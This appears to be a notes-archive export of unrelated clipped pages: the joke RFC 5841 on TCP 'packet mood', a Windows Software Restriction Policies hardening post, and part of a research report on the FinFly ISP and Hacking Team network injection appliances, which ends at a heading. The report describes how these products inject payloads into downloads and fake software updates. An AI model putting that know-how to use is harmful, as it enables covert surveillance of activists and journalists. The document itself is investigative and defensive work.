**Author:**| __  
**Tags:**| _bookmark network-security_  
  

  

  

  

  

  

Independent Submission R. Hay

Request for Comments: 5841 W. Turkal

Category: Informational Google Inc.

ISSN: 2070-1721 1 April 2010

  

  

TCP Option to Denote Packet Mood

  

Abstract

  

This document proposes a new TCP option to denote packet mood.

  

Status of This Memo

  

This document is not an Internet Standards Track specification; it is

published for informational purposes.

  

This is a contribution to the RFC Series, independently of any other

RFC stream. The RFC Editor has chosen to publish this document at

its discretion and makes no statement about its value for

implementation or deployment. Documents approved for publication by

the RFC Editor are not a candidate for any level of Internet

Standard; see Section 2 of RFC 5741.

  

Information about the current status of this document, any errata,

and how to provide feedback on it may be obtained at

http://www.rfc-editor.org/info/rfc5841.

  

Copyright Notice

  

Copyright \(c\) 2010 IETF Trust and the persons identified as the

document authors. All rights reserved.

  

This document is subject to BCP 78 and the IETF Trust's Legal

Provisions Relating to IETF Documents

\(http://trustee.ietf.org/license-info\) in effect on the date of

publication of this document. Please review these documents

carefully, as they describe your rights and restrictions with respect

to this document.

  

  

  

  

  

  

  

  

  

  

  

  

Hay & Turkal Informational \[Page 1\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

1\. Introduction

  

In an attempt to anthropomorphize the bit streams on countless

physical layer networks throughout the world, we propose a TCP option

to express packet mood \[DSM-IV\].

  

Packets cannot feel. They are created for the purpose of moving data

from one system to another. However, it is clear that in specific

situations some measure of emotion can be inferred or added. For

instance, a packet that is retransmitted to resend data for a packet

for which no ACK was received could be described as an 'angry'

packet, or a 'frustrated' packet \(if it is not the first

retransmission for instance\). So how can these kinds of feelings be

conveyed in the packets themselves. This can be addressed by adding

TCP Options \[RFC793\] to the TCP header, using ASCII characters that

encode commonly used "emoticons" to convey packet mood.

  

1.1. Terminology

  

The keywords MUST, MUST NOT, REQUIRED, SHALL, SHALL NOT, SHOULD,

SHOULD NOT, RECOMMENDED, MAY, and OPTIONAL, when they appear in this

document, are to be interpreted as described in \[RFC2119\].

  

2\. Syntax

  

A TCP Option has a 1-byte kind field, followed by a 1-byte length

field \[RFC793\]. It is proposed that option 25 \(released 2000-12-18\)

be used to define packet mood. This option would have a length value

of 4 or 5 bytes. All the simple emotions described as expressible

via this mechanism can be displayed with two or three 7-bit, ASCII-

encoded characters. Multiple mood options may appear in a TCP

header, so as to express more complex moods than those defined here

\(for instance if a packet were happy and surprised\).

  

TCP Header Format

  

Kind Length Meaning

\---- -------- -------

25 Variable Packet Mood

  

  

  

  

  

  

  

  

  

  

  

  

Hay & Turkal Informational \[Page 2\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

In more detail:

  

+--------+--------+--------+--------+

|00011001|00000100|00111010|00101001|

+--------+--------+--------+--------+

Kind=25 Length=4 ASCII : ASCII \)

  

+--------+--------+--------+--------+--------+

|00011001|00000101|00111110|00111010|01000000|

+--------+--------+--------+--------+--------+

Kind=25 Length=5 ASCII > ACSII : ASCII @

  

3\. Simple Emotional Representation

  

It is proposed that common emoticons be used to denote packet mood.

Packets do not "feel" per se. The emotions they could be tagged with

are a reflection of the user mood expressed through packets.

  

So the humanity expressed in a packet would be entirely sourced from

humans.

  

To this end, it is proposed that simple emotions be used convey mood

as follows.

  

ASCII Mood

===== ====

:\) Happy

:\( Sad

:D Amused

%\( Confused

:o Bored

:O Surprised

:P Silly

:@ Frustrated

>:@ Angry

:| Apathetic

;\) Sneaky

>:\) Evil

  

  

  

  

  

  

  

  

  

  

  

  

  

Hay & Turkal Informational \[Page 3\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

Proposed ASCII character encoding

  

Binary Dec Hex Character

======== === === =========

010 0101 37 25 %

010 1000 40 28 \(

010 1001 41 29 \)

011 1010 58 3A :

011 1011 59 3B ;

011 1110 62 3E >

100 0000 64 40 @

100 0100 68 44 D

100 1111 79 4F O

101 0000 80 50 P

110 1111 111 6F o

111 1100 124 7C |

  

For the purposes of this RFC, 7-bit ASCII encoding is sufficient for

representing emoticons. The ASCII characters will be sent in 8-bit

bytes with the leading bit always set to 0.

  

4\. Use Cases

  

There are two ways to denote packet mood. One is to infer the mood

based on an event in the TCP session. The other is to derive mood

from a higher-order action at a higher layer \(subject matter of

payload for instance\).

  

For packets where the 'mood' is inferred from activity within the TCP

session, the 'mood' MUST be set by the host that is watching for the

trigger event. If a client sends a frame and receives no ACK, then

the retransmitted frame MAY contain the TCP OPTION header with a mood

set.

  

Any packet that exhibits behavior that allows for mood to be inferred

SHOULD add the TCP OPTION to the packets with the implied mood.

  

Applications can take advantage of the defined moods by expressing

them in the packets. This can be done in the SYN packet sent from

the client. All packets in the session can be then tagged with the

mood set in the SYN packet, but this would have a per-packet

performance cost \(see Section 5, "Performance Considerations"\).

  

Each application MUST define the preconditions for marking packets as

happy, sad, bored, confused, angry, apathetic, and so on. This is a

framework for defining how such moods can be expressed, but it is up

to the developers to determine when to apply these encoded labels.

  

  

  

  

Hay & Turkal Informational \[Page 4\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

4.1. Happy Packets

  

Healthy packets are happy packets you could say. If the ACK packets

return within <10 ms end-to-end from a sender's stack to a receiver's

stack and back again, this would reflect high-speed bidirectional

capability, and if no retransmits are required and all ACKs are

received, all subsequent packets in that session SHOULD be marked as

'happy'.

  

No loss, low-latency packets also makes for happy users. So the

packet would be reflecting the end-user experience.

  

4.2. Sad Packets

  

If retransmission rates achieve greater than 20% of all packets sent

in a session, it is fair to say the session can be in mourning for

all of the good packets lost in the senseless wasteland of the wild

Internet.

  

This should not be confused with retransmitted packets marked as

'angry' since this tag would apply to all frames in the session

numbed by the staggering loss of packet life.

  

4.3. Amused Packets

  

Any packet that is carrying a text joke SHOULD be marked as 'amused'.

  

Example:

  

1: Knock Knock

2: Who's there?

1: Impatient chicken

2: Impatient chi...

1: BAWK\!\!\!\!

  

If such a joke is in the packet payload then, honestly, how can you

not be amused by one of the only knock-knock jokes that survives the

3rd grade?

  

4.4. Confused Packets

  

When is a packet confused? There are network elements that perform

per-packet load balancing, and if there are asymmetries in the

latencies between end-to-end paths, out-of-order packet delivery can

occur.

  

When a receiver host gets out-of-order packets, it SHOULD mark TCP

ACK packets sent back to the sender as confused.

  

  

  

Hay & Turkal Informational \[Page 5\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

The same can be said for packets that are sent to incorrect VLAN

segments or are misdirected. The receivers might be aware that the

packet is confused, but there is no way to know at ingress if that

will be the fate of the frame.

  

That being said, application developers SHOULD mark packets as

confused if the payload contains complex philosophical questions that

make one ponder the meaning of life and one's place in the universe.

  

4.5. Bored Packets

  

Packets carrying accounting data with debits, credits, and so on MUST

be marked as 'bored'.

  

It could be said that many people consider RFCs boring. Packets

containing RFC text MAY be marked as 'bored'.

  

Packets with phone book listings MUST be marked 'bored'.

  

Packets containing legal disclaimers and anything in Latin SHOULD be

marked 'bored'.

  

4.6. Surprised Packets

  

Who doesn't love when the out-of-order packets in your session

surprise you while waiting in a congested queue for 20 ms?

  

Packets do not have birthdays, so packets can be marked as surprised

when they encounter unexpected error conditions.

  

So when ICMP destination unreachable messages are received \(perhaps

due to a routing loop or congestion discards\), all subsequent packets

in that session SHOULD be marked as surprised.

  

4.7. Silly Packets

  

Not all packets are sent as part of a session. Random keepalives

during a TCP session MAY be set up as a repartee between systems

connected as client and server. Such random and even playful

interchanges SHOULD be marked as silly.

  

4.8. Frustrated Packets

  

Packets that are retransmitted more than once SHOULD be marked as

frustrated.

  

  

  

  

  

  

Hay & Turkal Informational \[Page 6\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

4.9. Angry Packets

  

Packets that are retransmitted SHOULD be marked as angry.

  

4.10. Apathetic Packets

  

When sending a RST packet to a connected system, the packet should be

marked as apathetic so that the receiver knows that your system does

not care what happens after that.

  

4.11. Sneaky Packets

  

When a packet is used in a particularly clever way, it SHOULD be

marked as sneaky. What is "clever" is rather subjective, so it would

be prudent to get a few opinions about a particular use to make sure

that it is clever.

  

4.12. Evil Packets

  

It is hard for a TCP packet to discern higher moral quandaries like

the meaning of life or what exactly defines 'evil' and from whose

perspective such a characterization is being made. However,

developers of TCP-based applications MAY choose to see some

activities as evil when viewed through their particular lens of the

world. At that point, they SHOULD mark packets as evil.

  

Some organizations are prohibited from using this mood by mission

statement. This would also prohibit using the security flag in the

IP header described in \[RFC3514\] for the same reasons.

  

5\. Performance Considerations

  

Adding extensions to the TCP header has a cost. Using TCP extensions

with the ASCII-encoded mood of the packet would detract from the

available MSS usable for data payload. If the TCP header is more

than 20 bytes, then the extra bytes would be unavailable for use in

the payload of the frame.

  

This added per-packet overhead should be considered when using packet

mood extensions.

  

6\. Security Considerations

  

The TCP checksum, as a 16-bit value, could be mistaken if ASCII

characters with the same number of zeros and ones were substituted

out. A happy ":\)" could be replaced with a frown by a malicious

attacker, by using a winking eye ";\(". This could misrepresent the

intended mood of the sender to the receiver.

  

  

  

Hay & Turkal Informational \[Page 7\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

7\. Related Work

  

This document does not seek to build a sentient network stack.

However, this framework could be used to express the emotions of a

sentient stack. If that were to happen, a new technical job class of

network psychologists could be created. Who doesn't like new jobs?

:\)

  

8\. IANA Considerations

  

If this work is standardized, IANA is requested to officially assign

value 25 as described in Section 3. Additional moods and emoticon

representations would require IESG approval or standards action

\[RFC5226\].

  

9\. Informative References

  

\[DSM-IV\] "Diagnostic and Statistical Manual of Mental Disorders

\(DSM\)", http://www.psychiatryonline.com/

resourceTOC.aspx?resourceID=1.

  

\[RFC793\] Postel, J., "Transmission Control Protocol", STD 7, RFC

793, September 1981.

  

\[RFC2119\] Bradner, S., "Key words for use in RFCs to Indicate

Requirement Levels", BCP 14, RFC 2119, March 1997.

  

\[RFC5226\] Narten, T. and H. Alvestrand, "Guidelines for Writing an

IANA Considerations Section in RFCs", BCP 26, RFC 5226, May

2008.

  

\[RFC3514\] Bellovin, S., "The Security Flag in the IPv4 Header", RFC

3514, April 1 2003.

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

Hay & Turkal Informational \[Page 8\]

  

  

RFC 5841 TCP Option to Denote Packet Mood 1 April 2010

  

  

Authors' Addresses

  

Richard Hay

Google

1600 Amphitheatre Pkwy

Mountain View, CA 94043

EMail: rhay@google.com

  

  

Warren Turkal

Google

1600 Amphitheatre Pkwy

Mountain View, CA 94043

EMail: turkal@google.com

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

Hay & Turkal Informational \[Page 9\]

  

  

# What hacker research taught me

**Created:**| _1/29/2010 2:32:19 PM_  
---|---  
**Updated:**| _1/29/2010 2:32:41 PM_  
**Author:**| __  
**Tags:**| _research Hacks presentation-material_  
  
<img src='img/Temp2_9427' />

# Quickpost: SAFER and Malicious Documents « Didier Stevens

**Created:**| _9/29/2009 1:57:46 PM_  
---|---  
**Updated:**| _9/29/2009 1:58:04 PM_  
**Author:**| __  
**Tags:**| _setup windows security_  
  

### Quickpost: SAFER and Malicious Documents

Filed under: My Software, Quickpost — Didier Stevens @ 17:50  

 _I wasn’t going to mention SAFER to restrict the rights of an application,
because Software Restriction Policies can be bypassed. But a Tweet by Edi
Strosarmade me review my viewpoint. In this particular case, bypassing SRP is
a non-issue, because the user is already local admin\!_

Software Restriction Policies allow you to force specific applications to run
with a restricted token. As Michael explained it with AD GPOs, I’ll show it
with local policies.

Enable SAFER policies for SRPs by adding DWORD registry key Levels \(value
0×31000\) to HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers:

<img src='img/Temp2_6621.png' width='737' height='410' alt='20090928-184852'
/>

Start the Local Security Policy administration tool and go to the Software
Restriction Policies. You’ll have to create new policies if this is the first
time you configure SRPs.

<img src='img/Temp2_6625.png' width='449' height='341' alt='20090928-180154'
/>

Create a new rule in Additional Rules. We’ll identify the application to
restrict by its path and name, so create a Path Rule:

<img src='img/Temp2_6622.png' width='334' height='393' alt='20090928-185739'
/>

For the security level, select Basic User:

<img src='img/Temp2_6624.png' width='406' height='455' alt='20090928-184938'
/>

If you have no Basic User option, you forgot to update the registry before
launching the administration tool:

<img src='img/Temp2_6618.png' width='406' height='455' alt='20090928-184657'
/>

Select the application to restrict:

<img src='img/Temp2_6619.png' width='406' height='455' alt='20090928-185830'
/>

This rule will force Adobe Reader to run with a restricted token:

<img src='img/Temp2_6623.png' width='439' height='515' alt='20090928-180534'
/>

Writing to SYSTEM32 is denied:

<img src='img/Temp2_6626.png' width='462' height='164' alt='20090928-180742'
/>

* * *
Quickpost info

* * *
* * *
**Possibly related posts: \(automatically generated\)**

  * What Local Admin Privilege Really Mean
  * VMware Server 2 + Windows XP = headache
  * MSI Manager: Reinstall Applications Assigned by Group Policy

Comments \(3\)

## 3 Comments »

  1. why not run using psexec utility from sysinternals like, “psexec.exe -l -d “ 
Comment by karthik — Monday 28 September 2009 @ 21:24

  2. @karthik 
We want to restrict the token of the process which ever way the application is
launched. For malicious documents, the “reader application” can be started in
many different ways:  
1\) Double-clicking the document in Windows Explorer.  
2\) Opening the document in your browser  
3\) opening the document in your e-mail client  
…

For every of these cases, you want the application to run with restricted
rights. So psexec is a solution, if you can configure your system to execute
psexec for all of these different cases.

That’s why I talked about StripMyRights and the Image Execution registry
entry. Because that’s one of the methods to make sure StripMyRights will proxy
your application. Have you tested psexec with the Image Execution method? If
it supports it, you can use it in stead of StripMyRights.

SAFER offers the advantage that you don’t need a proxy application to start
the vulnerable application, and that it can be deployed with AD.

Comment by Didier Stevens — Monday 28 September 2009 @ 21:36

  3. I see your point, agreed that AD GPO’s is much elegant solution. I generally launch \(just configure short cuts once\) my email client, browser, IM client \(basically all that connect to internet\) with stripped down privileges, so all their child processes also gets privileges stripped.  
and I dont like windows explorer, its crappy and heavy. i use blackbox shell
instead. <img src='img/Temp2_6620.png' alt=';-)' />

your posts are very helpful, i enjoy reading it. thanks.

Comment by karthik — Monday 28 September 2009 @ 23:53

  

# Schrodinger's Cat Video and the Death of Clear-Text

**Created:**| _8/24/2014 8:37:48 PM_  
---|---  
**Updated:**| _8/24/2014 8:37:48 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

**Author:** Morgan Marquis-Boire

Read Morgan Marquis-Boire’s op-ed in The Intercept on the report’s findings.

Read the report’s accompanying piece in the Washington Post.

See the report on Washington Post’s front page \[PDF\] and read the article on
page A2 \[PDF\].

The report’s findings have also been covered by Washington Post’s The Switch
blog, Schneier on Security, Heise Online \[in German\], Tech Times, Techdirt,
Gizmodo, Network World, Engadget, Marie Claire \[in French\], Slate \[in
French\], and Glamour \[in French\].

“… while Web 1.0 was invented so that theoretical physicists could publish
research online, Web 2.0 was created so that people could publish cute photos
of their cats.”

– Ethan Zuckerman \(2007\)

“Hidden in the dashboard  
The unseen mechanized eye  
Under surveillance  
The road is full of cat’s eyes”

– _The Spy in the Cab_ , Bauhaus \(1980\)

## Key Findings

  * Commercial network injection appliances are actively targeting Google’s YouTube and Microsoft’s Live services in order to install surveillance implants on targets across the globe.
  * Documents indicate that a prototype for targeted surveillance network injection appliances sold to the governments of Oman and Turkmenistan was designed by CloudShield Technologies, a US Department of Defense contractor.1
  * This report reveals never before seen documentation on the operation of Network Injection appliances from both Hacking Team and FinFisher and provides source code for an early prototype of FinFisher’s FinFly ISP product.

## Introduction

While there has been much discussion about the use of software described as
‘implants’ or ‘backdoors’ to perform targeted surveillance, this report is
about the less well understood method by which most targeted surveillance is
delivered: network injection. Taking advantage of security flaws in major web
presences \(such as Google’s ‘YouTube’ and Microsoft’s ‘Live’\)2, vendors have
started selling turnkey solutions that enable easy installation of targeted
surveillance software at scale.

This report provides a detailed analysis of two products sold for facilitating
targeted surveillance known as network injection appliances. These products
allow for the easy deployment of targeted surveillance implants and are being
sold by commercial vendors to countries around the world. Compromising a
target becomes as simple as waiting for the user to view unencrypted content
on the Internet.

While the technology required to perform such attacks has been understood for
some time, there is limited documentation of the operation of these attacks by
state actors. This report provides details on the use of such surveillance
solutions including how they are built, deployed, and operated.

## Network Injectors

Software to perform man-in-the-middle attacks on networks has been available
for some time. For example, in 2000, Dug Song released a suite of tools called
‘dsniff’ for capturing passwords on a switched network. Interestingly in 2001,
Alberto Ornaghi and Marco Valleri, the founders of Milan based surveillance
company Hacking Team, wrote a popular open source tool, ‘Ettercap’ which
enabled active interception and manipulation of traffic on local area
networks. In 2007, Francisco Amato released ‘EvilGrade’, a tool to intercept
updates for popular applications and replace them with a malicious payload.

In recent years, this type of technology has not received much attention from
the security community, as the technical aspects of these types of attacks,
and solutions to to them, are well understood. If traffic is properly
encrypted,3 it cannot be tampered with, and such attacks will fail.
Additionally, performing this type of attack reliably at scale requires
control of an Internet Service Provider \(ISP\) or Internet Exchange \(IX\)
and the resources to purchase the hardware required to intercept and
manipulate traffic at volume.

Over the last few years, there has been an increase in the public awareness of
state-sponsored hacking for the purposes of espionage and surveillance.
Traffic interception and manipulation provide an obvious method for an
attacker with resources and the power to enlist the cooperation of, or compel,
network providers. It enables the installation of surveillance implants on
target hosts without the need to resort to unreliable methods such as spear-
phishing.

In many surveillance operations, physical access to target systems cannot be
achieved and covert installation of a remote monitoring solution is required
to be able to monitor a target. Network injectors provide a countrywide
solution to this problem that can be integrated into an ISP’s access and / or
core network to install the remote monitoring solution on selected target
systems. Basically, this is the logical extension of a man-in-the-middle
attack for an adversary that owns the wires in the ground or can coerce a
service provider.

Network injectors generally take the form of appliances based on carrier grade
server technology. High-speed traffic interception allow attackers to identify
victim traffic. Once this action has occurred, the traffic can be modified in
a variety of ways. Early solutions infected executable files downloaded by the
target or injected fake software updates for popular software.4 This document
will describe how the most recent versions of these solutions infect targets
on-the-fly by injecting malicious code into the traffic streams of popular
websites.

## Recent Revelations

Documents leaked by Edward Snowden have revealed that the NSA uses man-in-the-
middle network injection infrastructure to deliver malware implants for the
purposes of targeted surveillance. One such system, known as QUANTUMINSERT, is
illustrated below:

<img src='img/Temp2_7248.png' width='624' height='465' alt='Schematic of NSA’s
QUANTUMINSERT system. ' />

Figure 1: Schematic of NSA’s QUANTUMINSERT system. \(Source\)

As described by Nicholas Weaver in Wired magazine:

> “All it takes is a single request from a victim passing a wiretap for
> exploitation to occur. Once the QUANTUM wiretap identifies the victim, it
> simply packet injects a 302 redirect to a FOXACID server. Now the victim’s
> browser starts talking to the FOXACID server, which quickly takes over the
> victim’s computer. The NSA calls this QUANTUMINSERT.”
The use of this system against European telecommunications provider Belgacom
was documented last year.

The Intercept revealed that the NSA was using a system known as TURBINE to:

> “…increase the current capability to deploy and manage hundreds of Computer
> Network Exploitation \(CNE\) and Computer Network Attack \(CNA\) implants to
> potentially millions of implants.”
Earlier reports based on the Snowden documents revealed that the NSA had
compromised between 85,000 and 100,000 targets using such techniques.

For a longer discussion of Five Eyes capabilities in this area, see Claudio
Guarnieri’s blog post, _The Internet is Compromised_.

## Why use Network Injection?

The advantages of using such network injection techniques are obvious when
compared to other common attack vectors such as spear-phishing or watering-
hole attacks. These kinds of attacks rely on a target being tricked into
opening a file or viewing malicious content, whereas, network injection allows
the exploitation of any target that views any clear-text content on the
Internet provided that they pass through a network point that the attacker
controls. While major providers are making efforts to encrypt parts of their
networks, a significant portion of the Internet’s traffic is still
unencrypted, allowing for easy manipulation. Even pages that serve their own
content securely are likely to use unencrypted traffic from a variety of
advertising networks or other third parties.

Provided that the attacker can persuade a sufficiently large carrier to
install a network injection apparatus, they can be reasonably certain of the
success of any attack. While an attacker would still need an exploit to escape
from the context of the target’s browser, one of the browser plugins \(such as
flash, java, quicktime, etc.\) or similar is likely to provide a low cost
avenue for this. This type of capability obviates the need for spear-phishing
or more clumsy attacks provided the target is in the attacker’s domain of
influence.

This type of approach also allows for the ‘tasking’ of a specific target.
Rather than performing a manual operation, a target can be entered into the
system which will wait for them to browse to an appropriate website and then
perform the required injection of malicious code into their traffic stream. As
such, this could be described as ‘hacking on easy mode’.

While the scope of the NSA’s system may have surprised many in the public, it
has been generally assumed that the best funded spy agency in the world would
possess advanced capability. What is perhaps more surprising is that this
capability is being developed by Western vendors for sale on the commercial
market.

## Background on the ‘Lawful Intercept’ Market

Over the last few years, a burgeoning commercial intrusion industry providing
exploits and malware as lawful interception products has gained notoriety. In
2012, Jerry Lucas, the president of TeleStrategies, the company which runs the
surveillance showcase ISS World \(commonly known as the ‘Wiretapper’s Ball’\)
said in a New York Times article:

> “The market for such technologies has grown to $5 billion a year from
> nothing 10 years ago”
While such products have traditionally been custom developed by a few nation
states, the commercialization of this market has increased the ability of
regimes to purchase advanced surveillance capabilities from vendors based in
liberal democracies. Despite the fact that this technology is commonly sold as
‘lawful interception’, it has been used to target activists, journalists,
dissidents, and human rights workers. Prior research by The Citizen Lab has
tracked the usage of lawful intercept surveillance technology sold by
FinFisher and Hacking Team against political and civil society targets
including Bahrain Watch, Mamfakinch in Morocco, human rights activist Ahmed
Mansoor in the UAE, and ESAT, a US-based news service focusing on Ethiopia.

FinFisher, developed in Munich, is a line of remote intrusion and surveillance
software marketed and allegedly sold exclusively to law enforcement and
intelligence agencies. Until 2013, it was distributed by the UK based Gamma
Group International. Hacking Team is a Milan-based company which, by their own
account, sells commercial hacking software to law enforcement in “several
dozen countries” on “six continents”. Citizen Lab has tracked the use of
FinFisher to 25 different countries and Hacking Team to 22 different
countries. These server location findings should not be considered to be a
definitive list; in fact, Hacking Team is claimed to have been used in up to
60 countries worldwide.

Both FinFisher and Hacking Team sell network injection solutions, enabling
easy compromise of targets on a country-wide basis. This ability in the hands
of states that lack a robust rule of law raises concerns for high risk groups,
as our work has shown.

## FinFly ISP

In 2011, Wikileaks began publishing “The Spy Files”, an archive of leaked
brochures and other promotional material from commercial vendors of
surveillance products. Among the documents were advertisements for a product
called “FinFly ISP”. Produced by Gamma International, this network injection
product deploys remote monitoring agents on target systems with the assistance
of an ISP. One of the use cases highlighted by the sales brochure was:

> “ _The customer deployed FinFly ISP within the main Internet Service
> Provider of their country. It was combined with FinFly Web to remotely
> infect Targets that visited government offensive websites by covertly
> injecting the FinFly Web code into the targeted websites._ ”
A video advertisement for this product was uploaded to YouTube and can be
found here.

Citizen Lab was contacted by individuals involved in the design of an early
version of this surveillance product. In addition to documentation on the
operation of this appliance, Citizen Lab was also sent source code. We have no
way to verify independently the authenticity of the material presented to us,
but we are presenting it in this report for outside review.

These materials appear to indicate that a prototype of FinFly was created with
the help of Sunnyvale, CA based company CloudShield Technologies \(now a
subsidiary of Leidos, previously Science Applications International
Corporation \(SAIC\), a contractor to the US military and intelligence
community\).

Below you can see a screenshot of the prototype displaying the FinFly ISP
solution running on CloudShield products. The solution is written in
CloudShield’s custom language, RAVE.

<img src='img/Temp2_7260.png' width='607' height='573' alt='Screenshot of
FinFly prototype running on CloudShield’s PacketWorks software' />

Figure 2: Screenshot of FinFly prototype running on CloudShield’s PacketWorks
software

A sample of the prototype FinFly ISP code can be found below:

<img src='img/Temp2_7246.png' width='635' height='578' />

_Figure 3: Sample of FinFly ISP source code_

**Binary Mode** is a flag to enable detection of a windows binary PE header on
the wire, modify it in transit and inject loader + payload into the download
ahead of the real binary. The real icon is preserved. Upon execution, the
downloaded file would run the loader which executed the payload then cleaned
the downloaded file on disk, such that it was the originally requested file.
By this time, the payload would be memory resident. Finally, the real binary
would be executed. This technique would work even with self-checking binaries.
**Update Mode** is a flag to simulate reponses of update checks for iTunes,
WinAmp, and other popular applications at the time. These responses were
served from FinFly and spoofed applications into updating with infected
versions. It is possible to set both flags for a target. **Tr****ojanID** is
the payload to inject. FinFly could be loaded with several different trojans
and a target dependent payload could be set. **UTrojanID** is the payload for
update mode. These columns contain an ID which references the trojan from a
simple RAM based filesystem created at load time with pre-built arrays.
**Compltd Count** is the number of confirmed infections based on the fact that
the target TCP/IP stack had acknowledged all the packets sent to it at the end
of the session. **Failed Count** counted unsuccessful infection attempts based
on lack of clean FIN flag exchange at the end of the session.

Subsequent to this, a version was created with the help of the Swiss company
Dream Lab Technologies AG. Documentation leaked by Wikileaks asserts that this
system was deployed in Oman:

> “This offer is based upon a request of Thomas Fischer of Gamma International
> as well as on various conversations between Gamma International, Dreamlab
> Technologies AG and the end customer.“
Wikileaks documents also assert this to have been deployed in Turkmenistan.

The cost of this product for that bid is detailed below:

<img src='img/Temp2_7263.png' width='626' height='656' alt='Order form for the
FinFly ISP installation in Turkmenistan' />

Figure 4: Order form for the FinFly ISP installation in Turkmenistan

The above order form indicates a total cost of 874,819.70 Swiss Francs \(CHF\)
or approximately 1 million US dollars. This includes a 43,200CHF fee for “On
Site assembly in Turkmenistan”.

A logical diagram of how the equipment is installed into a network and how the
operation works:

<img src='img/Temp2_7247.png' width='626' height='484' alt='Diagram of FinFly
installation.' />

Figure 5: Diagram of FinFly installation.

A network diagram of the infection proxy integration into an ISP environment
can be found below:

<img src='img/Temp2_7251.png' width='626' height='484' alt='Diagram of FinFly
integration into an ISP environment' />

Figure 6: Diagram of FinFly integration into an ISP environment

The following slides describe the process of infecting targets:

<img src='img/Temp2_7250.png' width='611' height='463' alt='Gamma presentation
slides describing FinFly target infection process' />

Figure 7: Gamma presentation slides describing FinFly target infection process

This shows how target selection occurs. In the administrative GUI, target
information is entered \(presumably a name\). The subject’s IP address is then
looked up in a RADIUS database and monitoring of the target’s traffic begins.
The target’s traffic is analyzed for a stream suitable for injection. Once
this stream is found, the traffic is modified and the malicious traffic
injected.

<img src='img/Temp2_7255.png' width='611' height='463' alt='Gamma presentation
slides describing FinFly target infection process.' />

Figure 8: Gamma presentation slides describing FinFly target infection
process.

The malicious traffic is checked to ensure that the modified traffic looks
authentic and will be accepted by the target. Checksums are tested, TCP/IP
packets are resequenced, and the modified and now malicious traffic is sent to
the target.

<img src='img/Temp2_7261.png' width='611' height='463' alt='Gamma presentation
slides describing FinFly target infection process' />

Figure 9: Gamma presentation slides describing FinFly target infection process

Once the target is infected, the surveillance operation can begin.

Historically, FinFly ISP was able to infect files that are downloaded by the
target on-the-fly or infect the target by sending fake software updates for
popular software.5

The latest promotional literature on the FinFly offering boasts:

> “The new release now integrates Gamma’s powerful remote infection
> application FinFly Web to infect Targets on-the-fly by just visiting any
> website.”
FinFly Web appears to be the component of the FinFly architecture that infects
any clear-text page in order to offer malware as a download. It appears that a
recent \(unrelated\) leak6 has made the FinFly Web component of the FinFly
architecture available on Github.

This appears to be a screenshot of this being used live in Bahrain:7

<img src='img/Temp2_7244.png' width='611' height='487' alt='Screenshot of
FinFly Web product being used in Bahrain' />

Figure 10: Screenshot of FinFly Web product being used in Bahrain

This seems to show the use of FinFly Web to offer visitors to the website a
fake flash update in order to facilitate the installation of malware.
Presumably, the operators either did not pay for, or did not decide to use the
FinFly Exploit Portal which would have allowed silent installation of a
backdoor as per the example in the product description:

_“A Target was identified within a Discussion Board but no direct or Email
contact was possible. The Agency created a Webserver containing an Internet
Explorer 0-day Exploit which deployed the Payload on the Target System once
the Target opened the URL that was sent to him through a private message in
the Discussion Board.”_

The same recent document releases include an internal “FAQ” document,
apparently for FinFisher salespeople, that may indicate an association with
the well known exploit vendor VUPEN, although this cannot be independently
verified :

“Q: Can you supply a list of the current exploits?  
A: Yes but we need to do this individually for each request as the available
exploits change on a regular basis.

Q: Can we name the supplier?  
A: Yes you can mention that we work with VUPEN here”

The feature overview for FinFly Exploit portal claims:

<img src='img/Temp2_7257.png' width='633' height='185' alt='new' />

## Hacking Team

The Milan-based “Hacking Team S.R.L.” provides similar services to the
FinFisher suite sold by Gamma Group. On Hacking Team’s website they state:

> “…we provide effective, easy-to-use offensive technology to the worldwide
> law enforcement and intelligence communities.”
Their primary offering is surveillance malware for OSX, Windows, Linux, iOS,
Android, BlackBerry, and Windows Mobile. As a delivery mechanism for this
malware, they sell a network injection appliance designed to be deployed in an
ISP in a similar manner to FinFly ISP.

In Hacking Team’s documentation, they define their Network Injector as a:

> “Hardware component that monitors the target’s network traffic and injects
> an agent into selected Web resources. It comes in two versions, Appliance or
> Tactical: the former is for deployment at the ISP, the latter for use on the
> field.”
<img src='img/Temp2_7259.png' width='611' height='253' alt='Hacking Team’s RCS
9 Technician Guide' />

Figure 11: Hacking Team’s RCS 9 Technician Guide

They stipulate:

> “Resources that can be infected by RCS are any type of files. NOTE: Network
> Injector is not able to monitor FTP or HTTPS connections.”8
In addition to network injection, Hacking Team’s offering provides:

  * Wifi password cracking
  * The ability to fake wifi Access Points
  * Traffic monitoring for compromised networks
  * Injection in non-ISP environments \(ie hotels\)

This functionality would not create the paper trail of an ISP-based
deployment. As with IMSI catchers and similar tools, this raises important
questions about whether jurisdictions where it is deployed have the proper
structures for judicial oversight. As it is portable, and doesn’t require the
cooperation of an ISP, it could conceivably also be used for foreign hostile
intelligence gathering.

Hacking Team has filed for patents on a “Method and Device for Network Traffic
Manipulation” as can be seen below:

<img src='img/Temp2_7245.png' width='611' height='436' alt='Hacking Team’s
patent application for “Method and Device for Network Traffic Manipulation”. '
/>

Figure 12: Hacking Team’s patent application for “Method and Device for
Network Traffic Manipulation”. \(Source\)

<img src='img/Temp2_7253.png' width='611' height='285' alt='Hacking Team’s
patent application for “Method and Device for Network Traffic Manipulation”. '
/>

Figure 13: Hacking Team’s patent application for “Method and Device for
Network Traffic Manipulation”. \(Source\)

The patent filing provides a breakdown on the design of the network injection
appliance:

<img src='img/Temp2_7262.png' width='633' height='203' alt='Hacking Team’s
patent application for “Method and Device for Network Traffic Manipulation”.
(Source)' />

Figure 14: Hacking Team’s patent application for “Method and Device for
Network Traffic Manipulation”. \(Source\)

### Exploitation of Google and Microsoft

